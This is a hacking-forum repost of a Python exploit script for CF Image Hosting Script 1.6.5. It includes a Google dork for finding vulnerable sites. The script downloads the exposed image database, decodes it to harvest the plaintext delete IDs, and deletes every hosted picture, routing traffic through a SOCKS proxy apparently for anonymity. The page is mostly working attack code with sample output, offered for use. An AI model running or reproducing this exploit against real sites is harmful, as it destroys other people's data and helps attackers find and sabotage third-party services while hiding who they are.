跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

CF Image Hosting Script 1.6.5 - (Delete all Pictures) Privilege Escalation

精选回复

发布于
#!/usr/bin/env python
"""
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
Google Dork: "Powered By CF Image Hosting script"
Date: 01/08/2019
Exploit Author: David Tavarez
Vendor Homepage: https://davidtavarez.github.io/
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
Version: 1.6.5
Tested on: Debian 9.6

By default, the database can be downloaded by any user. After decoding
the file the database should be unserialize. The DELETE ID is stored
in Plain Text, this ID can be use to delete a picture.

$ virtualenv cfexploit
$ source cfexploit/bin/activate
$ pip install phpserialize
$ pip install PySocks
$ python exploit.py http://127.0.0.1:8000

[-] Target: http://127.0.0.1:8000/
[-] Downloading the database...
[+] Decoding database...
[-] Finding pictues...
[+] Pictures found: 3
[+] Ready... let's do this! Deleting all pictures...
[+] Done.

"""
import phpserialize
import base64

import socks
import socket

import sys


def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    sock.connect(address)
    return sock


socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)

# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection

import urllib2

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "ERROR: Provide a valid URL"
        sys.exit(-1)
    url = sys.argv[1]

    ids = []

    try:
        print "[+] Target: {}".format(url)
        print "[+] Downloading the database..."
        response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))
        print "[+] Decoding database..."
        with open("imgdb.db.txt", "w+") as f:
            f.write(base64.b64decode(response.read()))
        print "[+] Finding pictues..."
        for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems():
            ids.append(value.get('deleteid'))
        print "[+] Pictures found: {}".format(len(ids))
        print "[+] Ready... let's do this! Deleting all pictures..."
        for id in ids:
            urllib2.urlopen("{}/?d={}".format(url, id))
        print "[+] Done."

    except urllib2.URLError, ex:
        if ex.reason == "Forbidden":
            print "[-] ERROR: this version is not vulnerable."
    except EOFError, e:
        raise e
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。